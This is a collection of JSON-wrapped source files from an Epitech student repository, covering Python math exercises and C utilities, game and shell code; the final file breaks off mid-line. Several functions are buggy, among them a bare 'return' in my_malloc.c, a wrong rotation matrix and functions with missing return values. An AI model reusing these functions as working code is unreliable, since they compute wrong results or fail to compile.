"alpha_fraction": 0.41415464878082275, "alphanum_fraction": 0.46308431029319763, "avg_line_length": 35.935482025146484, "blob_id": "61bc96af36d472ba921704fec9621ad18c1851e1", "content_id": "09bf7bd03cddf2b6ed5b46181fcec4f713b1c6b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2289, "license_type": "no_license", "max_line_length": 98, "num_lines": 62, "path": "/tek1/Mathématique/102architect_2019/calcul.py", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n##\n## EPITECH PROJECT, 2019\n## 102architect_2019\n## File description:\n## calcul.py\n##\n\nimport math\n\ndef display_one(a, b, c, d, e, f, g, h, x, y):\n a = format(float(a), \".2f\")\n b = format(float(b), \".2f\")\n c = format(float(c), \".2f\")\n d = format(float(d), \".2f\")\n e = format(float(e), \".2f\")\n f = format(float(f), \".2f\")\n g = format(float(g), \".2f\")\n h = format(float(h), \".2f\")\n print(a, \" \", b, \" \", c)\n print(d, \" \", e, \" \", f)\n print(\"0.00 0.00 1.00\")\n print(\"(\", x ,\", \", y, \") => (\", g, \", \", h, \")\", sep=\"\")\n\ndef rotate(x, y, d):\n d = float(d)\n x = float(x)\n y = float(y)\n d = d * math.pi / 180\n a = math.cos(d)\n b = 0 - math.sin(d)\n c = math.sin(d)\n e = math.sin(d)\n display_one(a, b, 0, c, e, 0, y, x, x, y)\n\ndef reflection(x, y, angle):\n y = float (y)\n x = float (x)\n angle = float (angle)\n angle = angle * math.pi / 180\n print(format(math.cos(angle*2), \".2f\"), \" \", format(math.sin(angle*2), \".2f\"),\" \", \"0.00\")\n print(format(math.sin(2*angle), \".2f\"),\" \", format(-math.cos(2 * angle), \".2f\"),\" \", \"0.00\")\n print(\"0.00 \", \"0,00 \", format(y * (-1), \".2f\"))\n print(\"(\",format(x ,\".2f\"),\", \",format(y,\".2f\"),end =\"\",sep=\"\")\n print(\") => (\", format(math.sin(angle)*x+math.cos(angle)*y, \".2f\"),\", \", end=\"\",sep=\"\")\n print(format(math.cos(angle)*x-math.sin(angle)*y, \".2f\"), \")\", sep=\"\")\n\ndef scaling(x, y , i , j):\n print(format(float (i), \".2f\"), \" 0.00 \", \"0.00\")\n print(\"0.00 \", format(float (j), \".2f\"),\" \", \"0.00\")\n print(\"0.00 \", \"0,00 \", format(float (j), \".2f\"))\n print(\"(\",format(float(x),\".2f\"),\", \",format(float(y),\".2f\"),end=\"\",sep=\"\")\n print(\") => (\", format(float(x) * float(i), \".2f\"),\", \", end=\"\",sep=\"\")\n print(format(float (y) * float (j), \".2f\"), \")\", sep=\"\")\n\ndef translat(x, y, i, j):\n print(format(float (j), \".2f\"), \" 0.00 \", format(float (i), \".2f\"))\n print(\"0.00 \", format(float (j), \".2f\"),\" \", format(float (j), \".2f\"))\n print(\"0.00 \", \"0,00 \", \"1.00\")\n print(\"(\",format(float(x),\".2f\"),\", \",format(float(y),\".2f\"),end=\"\",sep=\"\")\n print(\") => (\", format(float(x) + float(i), \".2f\"),\", \", end=\"\",sep=\"\")\n print(format(float (y) + float (j), \".2f\"), \")\", sep=\"\")" }, { "alpha_fraction": 0.6328321099281311, "alphanum_fraction": 0.6378446221351624, "avg_line_length": 22.5, "blob_id": "c511606a5624bd9970d46fb7499b1755387c666c", "content_id": "94f764ac7d7bdf2fe7c73f16951b1be59753cd02", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 798, "license_type": "no_license", "max_line_length": 76, "num_lines": 34, "path": "/tek1/Game/MUL_my_defender_2019/lib/json/json_stringify.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libjson\n** File description:\n** json_stringify\n*/\n\n#include \"json.h\"\n#include \"tools.h\"\n#include <stdlib.h>\n\nchar *json_stringify_append(char *json, char *to_append)\n{\n json = my_free_assign(json, my_strconcat(json, to_append));\n free(to_append);\n return json;\n}\n\nchar *json_stringify_step(char *json, json_object_t *data)\n{\n if (data->type == JSON_DICT) {\n json = json_stringify_append(json, json_stringify_dict(json, data));\n } else if (data->type == JSON_LIST) {\n json = json_stringify_append(json, json_stringify_list(json, data));\n } else {\n json = my_free_assign(json, my_strdup(\"invalid json\"));\n }\n return json;\n}\n\nchar *json_stringify(json_object_t *data)\n{\n return json_stringify_value(my_strdup(\"\"), data);\n}" }, { "alpha_fraction": 0.44774773716926575, "alphanum_fraction": 0.4837837815284729, "avg_line_length": 21.219999313354492, "blob_id": "81c7aa1a280dbd525c0003fdb4fd9b84cb7ff75d", "content_id": "244dc54bd59af782a28fdeee44bbbf737bbf3df9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1110, "license_type": "no_license", "max_line_length": 63, "num_lines": 50, "path": "/tek1/Mathématique/109titration_2019/utils.py", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## 109titration_2019\n## File description:\n## utils.py\n##\n\ndef preparelist(list2):\n list = []\n for i in range(0, len(list2)):\n if len(list2[i]) > 3:\n list.append(resultfloatconv(list2[i]))\n else:\n list.append(int(list2[i][2]))\n return list\n\ndef resultfloatconv(list3):\n i = 0\n\n while list3[i] != ';':\n i = i + 1\n i += 1\n nbr = float(list3[i:])\n return nbr\n\ndef errorhandling(list):\n for i in range(0, len(list)):\n if len(list[i]) < 3:\n return 84\n for p in range(0, len(list[i])):\n if (my_isint(list[i][p]) or list[i][p] == ';' or\n list[i][p] == '.') == False:\n return 84\n if (len(list[i]) > 8 or ccount(';', list[i]) > 1 or\n ccount(';', list[i]) < 1):\n return 84\n\ndef my_isint(nbr):\n try:\n int(nbr)\n return True\n except ValueError:\n return False\n\ndef ccount(c, list):\n count = 0\n for i in range(0, len(list)):\n if list[i] == c:\n count = count + 1\n return count" }, { "alpha_fraction": 0.357566773891449, "alphanum_fraction": 0.3827893137931824, "avg_line_length": 16.736841201782227, "blob_id": "2d31ea11a48abd779582190c05c9a308b4abaafc", "content_id": "3f01e6827fb2ad40a7b5c0b0ca2c29e4c45f04ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 674, "license_type": "no_license", "max_line_length": 50, "num_lines": 38, "path": "/tek1/QuickTest/CPE_duostumper_2_2019/src/game.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** game.c\n** File description:\n** \n*/\n\n#include \"my.h\"\n\nvoid writeline_p(int size)\n{\n int count = 0;\n \n while (count != size*2+3) {\n printf(\"%c\", '+');\n count++;\n }\n}\n\nint launchbasic(char **av, int size)\n{\n int count = 0;\n int i;\n if (av[1][0] == '-' && av[1][1] == 'g') {\n writeline_p(size);\n count = 0;\n for (int p = 0; p != size; p++) {\n printf(\"\\n| \");\n for (i = 0; i != size; i++, count++) {\n printf(\"%c \", av[2][count]);\n }\n i = 0;\n printf(\"|\");\n }\n printf(\"\\n\");\n writeline_p(size);\n }\n}\n" }, { "alpha_fraction": 0.5420454740524292, "alphanum_fraction": 0.5761363506317139, "avg_line_length": 23.47222137451172, "blob_id": "c53e5a21b014665ad99a7c0163930c57fddfd89b", "content_id": "b87dd566e71e83bc8b732ad2fc15b75aaa32317b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 880, "license_type": "no_license", "max_line_length": 71, "num_lines": 36, "path": "/tek1/Mathématique/110borwein_2019/110borwein", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n##\n## EPITECH PROJECT, 2019\n## 110borwein_2019\n## File description:\n## 110borwein\n##\n\nimport sys\nfrom calculator import call_all_functions\n\ndef check_n():\n try:\n arg = int(sys.argv[1])\n if int(sys.argv[1]) < 0:\n print(\"Error : n must be a positive integer\")\n sys.exit(84)\n except ValueError:\n print(\"Please check your argument, or see -h\")\n sys.exit(84)\n return arg\n\ndef main():\n\n if \"-h\" in sys.argv or \"--help\" in sys.argv:\n print(\"USAGE\\n ./110borwein n\\n\\nDESCRIPTION\")\n print(\" n constant defining the integral to be computed\")\n sys.exit(0)\n if len(sys.argv) == 1 or len(sys.argv) > 2:\n print(\"Error: Not enough or too many arguments. Please see -h\")\n exit(84)\n n = check_n()\n call_all_functions(n)\n\nif __name__ == '__main__':\n main()" }, { "alpha_fraction": 0.3710618317127228, "alphanum_fraction": 0.395565927028656, "avg_line_length": 19.878047943115234, "blob_id": "0b57c48cabbe3d9fa42f0cefb28818ee920b1995", "content_id": "61fea3409db02c12f5cd5fd7ac6de571b6dd73a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 857, "license_type": "no_license", "max_line_length": 69, "num_lines": 41, "path": "/tek1/Piscine/CPool_finalstumper_2019/lib/my/last_cas.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** last_cas\n** File description:\n** \n*/\n\nvoid last_cas(char *buff, int x, int y, int j)\n{\n if (buff[0] == 'A' && buff[x - 1] == 'C' && buff[j - 2] == 'A') {\n my_putstr(\"[rush1-5]\");\n my_putchar (' ');\n my_put_nbr(x);\n my_putchar (' ');\n my_put_nbr(y);\n }\n}\n\nvoid cas1(char *buff, int x, int y)\n{\n int j = 0;\n\n if (buff[0] == 'A' && buff[x - 1] == 'A') {\n my_putstr(\"[rush1-3]\");\n my_putchar (' ');\n my_put_nbr(x);\n my_putchar (' ');\n my_put_nbr(y);\n }\n while (buff[j] != '\\0')\n j++;\n if (buff[0] == 'A' && buff[x - 1] == 'C' && buff[j - 2] == 'C') {\n my_putstr(\"[rush1-4]\");\n my_putchar (' ');\n my_put_nbr(x);\n my_putchar (' ');\n my_put_nbr(y);\n }\n else\n last_cas(buff, x, y, j);\n} \n" }, { "alpha_fraction": 0.6732046008110046, "alphanum_fraction": 0.6834641098976135, "avg_line_length": 27.577587127685547, "blob_id": "9edf9a995d22478986d27cfe1302418112a79d32", "content_id": "764d9da3a413782d8c73ea32538e0253e04c010d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3314, "license_type": "no_license", "max_line_length": 76, "num_lines": 116, "path": "/tek1/Advanced/PSU_42sh_2019/include/tools.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** libtools\n** File description:\n** Global library for epitech studies\n*/\n\n#ifndef LIBTOOLS\n#define LIBTOOLS\n#define my_abs(nb) ((nb < 0) ? -(nb) : (nb))\n#define square(nb) ((nb) * (nb))\n#define distance(a, b) my_abs(sqrt(square(a.x - b.x) + square(a.y - b.y)))\n#define UNUSED(x) ((x) = (x))\n\ntypedef struct counter {\n int i;\n int j;\n} counter_t;\n\n#define UNDEFINED 0\n\ntypedef struct vector2i {\n int x;\n int y;\n} vector2i_t;\n\ntypedef struct vector2f {\n float x;\n float y;\n} vector2f_t;\n\ntypedef struct vector3i {\n int x;\n int y;\n int z;\n} vector3i_t;\n\ntypedef struct vector3f {\n float x;\n float y;\n float z;\n} vector3f_t;\n\nint my_putchar(char c);\nint my_isneg(int nb);\nint my_put_nbr(int nb);\nvoid my_swap(int *a, int *b);\nint my_putstr(char const *str);\nint my_strlen(char const *str);\nint my_getnbr(char const *str);\nvoid my_sort_int_array(int nb, int size);\nint my_compute_power_rec(int nb, int power);\nint my_compute_square_root(int nb);\nint my_is_prime(int nb);\nint my_find_prime_sup(int nb);\nchar *my_strcpy(char *dest, char const *src);\nchar *my_strncpy(char *dest, char const *stc, int n);\nchar *my_revstr(char *str);\nchar *my_strstr(char *str, char const *to_find);\nint my_strcmp(char const *s1, char const *s2);\nchar *my_strupcase(char *str);\nchar *my_strlowcase(char *str);\nchar *my_strcat(char *dest, char const *src);\nchar *my_strncat(char *dest, char const *src, int nb);\nint my_show_word_array(char * const *arr);\nchar *my_strdup(char const *str);\nint my_arrlen(char **arr);\nint get_number(char c);\nint process_letter(unsigned int *nb, int *preceeded_by_minus);\nint can_divide_by(int a, int b);\nint get_digit(int nb, int n);\nint get_power_of_ten(int n);\nint is_in(char c, char a, char z);\nvoid add_string_to_arr(char *str, char **arr, int *start, counter_t *count);\nvoid calculate_array_size(char *str, counter_t count, int *size);\nchar **my_str_to_word_array(char const *str);\nint my_putfloat(float f, int decimals);\nint my_putdouble(double d, int decimals, int remove_zeros);\nint get_number_of_digits(int nb);\nint max(int nb1, int nb2);\nint min(int nb1, int nb2);\nchar **my_strsplit(char *str, char c);\nchar **my_strslice(char *str, int i);\nchar *my_strconcat(char const *str1, char const *str2);\nchar *my_int_to_str(int nb);\nint my_xor(int cond1, int cond2);\nint my_printf(char const *format, ...);\nint my_put_nbrp(int *nb);\nint my_putcharp(char *c);\nint my_putfloatp(float *f, int decimals);\nint my_putdoublep(double *d, int decimals);\nvector2i_t v2i(int x, int y);\nvector2f_t v2f(float x, float y);\nvector3i_t v3i(int x, int y, int z);\nvector3f_t v3f(float x, float y, float z);\nint my_str_startswith(char *haystack, char *needle);\nint *pint(int i);\ndouble *pdouble(double i);\nchar *read_file(char *filepath);\nint is_whitespace(char c);\nchar *my_strtrimwhitesp(char *str);\nchar *my_trim_keep_str(char *str);\nvoid *my_free_assign(void *to_free, void *value);\nchar *my_char_to_str(char c);\nchar *stripslashes(char *str);\nchar *addslashes(char *str);\nint my_strncmp(char *s1, char *s2, int n);\nint my_str_isnum(char const *str);\nint my_str_endswith(char *str, char *with);\nint irand(int min, int max);\ndouble sqrt(double nb);\nint is_whitespace(char c);\nchar *my_strjoin(char **arr, char *glue);\nvoid free_split(char **split);\n\n#endif" }, { "alpha_fraction": 0.5885558724403381, "alphanum_fraction": 0.6239781975746155, "avg_line_length": 13.720000267028809, "blob_id": "45b83a5979d3dffe968f5f0e9f54283f61279649", "content_id": "9e2a05525cad0d49ea2a71a8cbec3e769dd968af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 367, "license_type": "no_license", "max_line_length": 35, "num_lines": 25, "path": "/tek1/Advanced/PSU_minishell2_2019/lib/my/shell2.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_minishell2_2019\n** File description:\n** shell2.h\n*/\n\n#include <sys/types.h>\n#include <sys/wait.h>\n#include <stdlib.h>\n#include <stddef.h>\n\n#ifndef __SHELL__\n#define __SHELL__\n#define true (1)\n\ntypedef struct shell2_s\n{\n /* data */\n} shell2_t;\n\nchar *init_env(void);\nchar **findcmd(char *cmd, int len);\n\n#endif // ! __SHELL__ ! \\\\" }, { "alpha_fraction": 0.4786096215248108, "alphanum_fraction": 0.51871657371521, "avg_line_length": 14.625, "blob_id": "288b3cc54fbf4190fb644d2673821590a13ce43d", "content_id": "8cb1645cc55e520b693a3806b58f866e827ef355", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 374, "license_type": "no_license", "max_line_length": 77, "num_lines": 24, "path": "/tek1/Advanced/PSU_tetris_2019/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_tetris_2019\n** File description:\n** main.c\n*/\n\n#include <ncurses.h>\n#include \"my.h\"\n#include \"tetris.h\"\n\nint main(int ac, char **argv)\n{\n if (my_strcmp(argv[1], \"-h\") == 1 || my_strcmp(argv[1], \"--help\") == 1) {\n helping();\n return 0;\n }\n /*initscr();\n curs_set(0);\n refresh();\n endwin();*/\n\n return 0;\n}" }, { "alpha_fraction": 0.515625, "alphanum_fraction": 0.53125, "avg_line_length": 18.521739959716797, "blob_id": "c53b21a49a3a9088dc5806f318b992bbccee7bbb", "content_id": "3ee606ac37e7c80adbe068053624cc149d5cbc39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 448, "license_type": "no_license", "max_line_length": 67, "num_lines": 23, "path": "/tek1/Functionnal/CPE_lemin_2019/lib/tools/my_strjoin.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libtools\n** File description:\n** my_strjoin\n*/\n\n#include \"tools.h\"\n\nchar *my_strjoin(char **arr, char *glue)\n{\n char *final = my_strdup(\"\");\n int first = 1;\n\n for (int i = 0; arr[i]; i++) {\n if (!first)\n final = my_free_assign(final,\n my_strconcat(final, glue));\n final = my_free_assign(final, my_strconcat(final, arr[i]));\n first = 0;\n }\n return final;\n}" }, { "alpha_fraction": 0.40700218081474304, "alphanum_fraction": 0.4792122542858124, "avg_line_length": 15.321428298950195, "blob_id": "81dee4bc2cf285b6b8ee0517892f4de4bff8a3a6", "content_id": "8c58fa6facb5a638f8c7a6af4429e3cad7cfd8b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 457, "license_type": "no_license", "max_line_length": 34, "num_lines": 28, "path": "/tek1/Functionnal/CPE_pushswap_2019/lib/my_put_nbr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** pushswap\n** File description:\n** my_put_nbr.c\n*/\n\n#include <unistd.h>\n#include \"pushswap.h\"\n\nvoid my_put_nbr(int nbr)\n{\n if (nbr == -2147483648)\n my_put_str(\"-2147483648\");\n else if (nbr < 0)\n {\n my_put_char('-');\n nbr *= -1;\n my_put_nbr(nbr);\n }\n else if (nbr >= 10)\n {\n my_put_nbr(nbr / 10);\n my_put_nbr(nbr % 10);\n }\n else\n my_put_char(nbr + '0');\n}\n" }, { "alpha_fraction": 0.48948949575424194, "alphanum_fraction": 0.5585585832595825, "avg_line_length": 17.55555534362793, "blob_id": "bfba90915a1fd13c6ddf6d6d2c69bbd50f0e86f1", "content_id": "8616c2f9add30a204ea8680fd58c8ac43471bcf7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 333, "license_type": "no_license", "max_line_length": 46, "num_lines": 18, "path": "/tek1/QuickTest/SYN_palindrome_2019/src/infinadd.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** SYN_palindrome_2019\n** File description:\n** infinadd.c\n*/\n\nvoid infinadd(char *string, int nbr, int base)\n{\n int count;\n char alpha[11] = \"0123456789\";\n\n for (count = 0; nbr != 0; count++) {\n string[count] = alpha[nbr % base];\n nbr = nbr / base;\n }\n string[count] = '\\0';\n}" }, { "alpha_fraction": 0.4428904354572296, "alphanum_fraction": 0.4592074453830719, "avg_line_length": 14.88888931274414, "blob_id": "9040f4f2f3214d5cb3eed4d222465504124ea4ce", "content_id": "5a1fc14506a155ef9aaadba2b9b76f6e6ad80b9a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 429, "license_type": "no_license", "max_line_length": 35, "num_lines": 27, "path": "/tek1/Piscine/CPool_Day04_2019/my_evil_str.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_evil_str\n** File description:\n**\n*/\n\nint my_putchar(int c);\n\nint my_strlen(char *str);\n\nchar *my_evil_str(char *str)\n{\n int i = 0;\n int count = my_strlen(str) - 1;\n int len = my_strlen(str);\n char wr;\n\n while (i < (len / 2)) {\n wr = str[count];\n str[count] = str[i];\n str[i] = wr;\n count--;\n i++;\n }\n return str;\n}\n" }, { "alpha_fraction": 0.5567010045051575, "alphanum_fraction": 0.6082473993301392, "avg_line_length": 12.928571701049805, "blob_id": "fc327600f8640eeb629fa694061a3f85273bb3ec", "content_id": "d2e3ef1df08937e0bb6898411521fa191a5199b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 194, "license_type": "no_license", "max_line_length": 50, "num_lines": 14, "path": "/tek1/AI/AIA_n4s_2019/src/my_malloc.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** AIA_n4s_2019\n** File description:\n** my_malloc.c\n*/\n\n#include \"n4s.h\"\n\nchar *my_malloc(char *str)\n{\n str = malloc(sizeof(char *) * my_strlen(str));\n return\n}" }, { "alpha_fraction": 0.5784313678741455, "alphanum_fraction": 0.6127451062202454, "avg_line_length": 19.450000762939453, "blob_id": "4a1d48e8f7726c5fb709ac8360d10588990881ec", "content_id": "f8dbde9cea6e1ccd0ecd878439a1181c1044b01d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 408, "license_type": "no_license", "max_line_length": 76, "num_lines": 20, "path": "/tek1/Functionnal/CPE_BSQ_2019/lib/my/my_strconcat.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_strconcat\n** File description:\n** my_strconcat\n*/\n\n#include \"my.h\"\n#include <stdlib.h>\n\nchar *my_strconcat(char const *str1, char const *str2)\n{\n char *new_str = malloc(sizeof(char) * (my_strlen(str1) + my_strlen(str2)\n + 1));\n\n my_strcat(new_str, str1);\n my_strcat(new_str, str2);\n new_str[my_strlen(str1) + my_strlen(str2)] = '\\0';\n return new_str;\n}" }, { "alpha_fraction": 0.41741740703582764, "alphanum_fraction": 0.4434434473514557, "avg_line_length": 20.717391967773438, "blob_id": "a597028e64fd39e1a00a90997441dc07866e89e2", "content_id": "a02a32b3b6a18b3dc3e44fbdff59bb0325b1022d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 999, "license_type": "no_license", "max_line_length": 68, "num_lines": 46, "path": "/tek1/Functionnal/CPE_BSQ_2019/lib/my/my_strtodouble.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** CPE_BSQ_2019\n** File description:\n** char * to char ** by clément Fleur\n*/\n\n#include <stdlib.h>\n#include \"my.h\"\n\nchar **my_stringtotab(char *str,char **tab, int x, int y)\n{\n int i = 0;\n\n while (str[i] != '\\n' && str[i] != '\\0')\n i = i + 1;\n i++;\n while (str[i] != '\\0') {\n if (str[i] == '\\n' || str[i] == '\\0') {\n tab[x][y] = '\\0';\n x = x + 1;\n y = 0;\n }\n else {\n tab[x][y] = str[i];\n y = y + 1;\n }\n i = i + 1;\n }\n}\n\nchar **my_strtodouble(char *str, int size)\n{\n char **new_str;\n int i = 0;\n\n new_str = malloc(sizeof(*new_str) * my_strlen_nbligne(str) + 1);\n if (new_str == NULL)\n my_putstr(\"error\");\n while (i < my_strlen_nbligne(str)) {\n new_str[i] = malloc(sizeof(char) * my_strlenbn(str) + 1);\n i = i + 1;\n }\n my_stringtotab(str, new_str, 0, 0);\n redirect(new_str, my_strnbline(str) - 1, my_strlenbn(str) - 1);\n} " }, { "alpha_fraction": 0.6854220032691956, "alphanum_fraction": 0.695652186870575, "avg_line_length": 19.63157844543457, "blob_id": "57c95e8247a6548e98d29d9a95d96c41683282ca", "content_id": "ac9ed50a71ffa04a9b932bb348446a980bcc6018", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 391, "license_type": "no_license", "max_line_length": 57, "num_lines": 19, "path": "/tek1/Game/MUL_my_hunter_20192/include/events.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2017\n** my_hunter\n** File description:\n** events functions (header file)\n*/\n\n# include \"hunter.h\"\n\n# ifndef EVENTS_H\n# define EVENTS_H\n\nvoid \t\t\tmouse_events(param_t *param, sfEvent event);\nvoid \t\t\tevents_manager(param_t *param, sfEvent event);\n\nvoid \t\t\tmouse_move_event(param_t *param, sfEvent event);\nvoid \t\t\tmouse_click_event(param_t *param, sfEvent event);\n\n# endif" }, { "alpha_fraction": 0.6304348111152649, "alphanum_fraction": 0.643478274345398, "avg_line_length": 22.024999618530273, "blob_id": "800267b71ad5974a653ff72e61ccc3639d305220", "content_id": "9cd72be1a5b36ba66ff796d1f45c3cb155d120ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 920, "license_type": "no_license", "max_line_length": 66, "num_lines": 40, "path": "/tek1/Game/MUL_my_rpg_2019/src/misc/text.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** MUL_my_rpg_2019\n** File description:\n** text\n*/\n\n#include \"rpg.h\"\n\nsfText *create_text(sfFont *font, char *name, sfVector2f pos,\n dictionary_t **gamedata)\n{\n sfText *text = sfText_create();\n sfText_setFont(text, font);\n sfText_setCharacterSize(text, 20);\n sfText_setFillColor(text, sfWhite);\n sfText_setPosition(text, pos);\n *gamedata = dict_add(*gamedata, name, text);\n return text;\n}\n\nsfText *load_text(sfFont *font, char *name, sfVector2f pos,\n dictionary_t **gamedata)\n{\n sfText *text = dict_get(*gamedata, name);\n\n if (text) return text;\n else return create_text(font, name, pos, gamedata);\n}\n\nsfFont *load_font(char *name, char *file, dictionary_t **gamedata)\n{\n sfFont *font = dict_get(*gamedata, name);\n\n if (!font) {\n font = sfFont_createFromFile(file);\n *gamedata = dict_add(*gamedata, name, font);\n }\n return font;\n}" }, { "alpha_fraction": 0.598870038986206, "alphanum_fraction": 0.6166263222694397, "avg_line_length": 23.3137264251709, "blob_id": "b06b1647412084f57b50d60e5ce5b9d807fa6846", "content_id": "7e32feded0d0b9458850b6cd684bacc1221f0d68", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1239, "license_type": "no_license", "max_line_length": 78, "num_lines": 51, "path": "/tek1/Game/MUL_my_rpg_2019/lib/game/create_int_rect.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Epitech\n** File description:\n** create_int_rect\n*/\n\n#include \"game.h\"\n\nsfFloatRect float_rect_from_ll(linked_list_t *list)\n{\n if (ll_len(list) < 4) return float_rect(0, 0, 0, 0);\n return float_rect(*(double *) ll_get(list, 0),\n *(double *) ll_get(list, 1), *(double *) ll_get(list, 2),\n *(double *) ll_get(list, 3));\n}\n\nsfIntRect int_rect_from_ll(linked_list_t *list)\n{\n if (ll_len(list) < 4) return create_int_rect(0, 0, 0, 0);\n return create_int_rect(*(int *) ll_get(list, 0), *(int *) ll_get(list, 1),\n *(int *) ll_get(list, 2), *(int *) ll_get(list, 3));\n}\n\nsfIntRect create_int_rect(int left, int top, int width, int height)\n{\n sfIntRect rect;\n\n rect.left = left;\n rect.top = top;\n rect.width = width;\n rect.height = height;\n return rect;\n}\n\nsfFloatRect float_rect(float left, float top, float width, float height)\n{\n sfFloatRect rect;\n\n rect.left = left;\n rect.top = top;\n rect.width = width;\n rect.height = height;\n return rect;\n}\n\nsfFloatRect scale_float_rect(sfFloatRect rect, sfFloatRect scale)\n{\n return float_rect(rect.left * scale.left, rect.top * scale.top,\n rect.width * scale.width, rect.height * scale.height);\n}" }, { "alpha_fraction": 0.5159235596656799, "alphanum_fraction": 0.5796178579330444, "avg_line_length": 13.272727012634277, "blob_id": "4b6746e3687e6e33c39841ccecc13981462c2b59", "content_id": "8da7c9f29d6cb01d79de625705b5c3421a6f194d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 157, "license_type": "no_license", "max_line_length": 49, "num_lines": 11, "path": "/tek1/Game/MUL_my_rpg_2019/lib/tools/my_xor.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_xor\n** File description:\n** my_xor\n*/\n\nint xor(int cond1, int cond2)\n{\n return (cond1 || cond2) && !(cond1 && cond2);\n}\n" }, { "alpha_fraction": 0.4660194218158722, "alphanum_fraction": 0.49708738923072815, "avg_line_length": 10.217391014099121, "blob_id": "ab8254932a3740a02286a32b1b575034c788ef96", "content_id": "91f3a17b20efb9b8356834b60011e34cc1b4e937", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 515, "license_type": "no_license", "max_line_length": 41, "num_lines": 46, "path": "/tek1/Game/MUL_my_defender_2019/lib/tools/vectors.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Epitech\n** File description:\n** vectors\n*/\n\n#include \"tools.h\"\n\nvector2i_t v2i(int x, int y)\n{\n vector2i_t v;\n\n v.x = x;\n v.y = y;\n return v;\n}\n\nvector2f_t v2f(float x, float y)\n{\n vector2f_t v;\n\n v.x = x;\n v.y = y;\n return v;\n}\n\nvector3i_t v3i(int x, int y, int z)\n{\n vector3i_t v;\n\n v.x = x;\n v.y = y;\n v.z = z;\n return v;\n}\n\nvector3f_t v3f(float x, float y, float z)\n{\n vector3f_t v;\n\n v.x = x;\n v.y = y;\n v.z = z;\n return v;\n}" }, { "alpha_fraction": 0.41887906193733215, "alphanum_fraction": 0.44542771577835083, "avg_line_length": 20.870967864990234, "blob_id": "774efbfd93ff032514039a6737d0111831e5339e", "content_id": "2045854dce19cc0c198c293af47d02ee7f9818d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 678, "license_type": "no_license", "max_line_length": 71, "num_lines": 31, "path": "/tek1/AI/AIA_n4s_2019/src/my_strtotab.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** AIA_n4s_2019\n** File description:\n** my_strtotab.c\n*/\n\n#include \"n4s.h\"\n\nchar **my_strtotab(char *str, char lim)\n{\n char **tab = malloc(sizeof(char 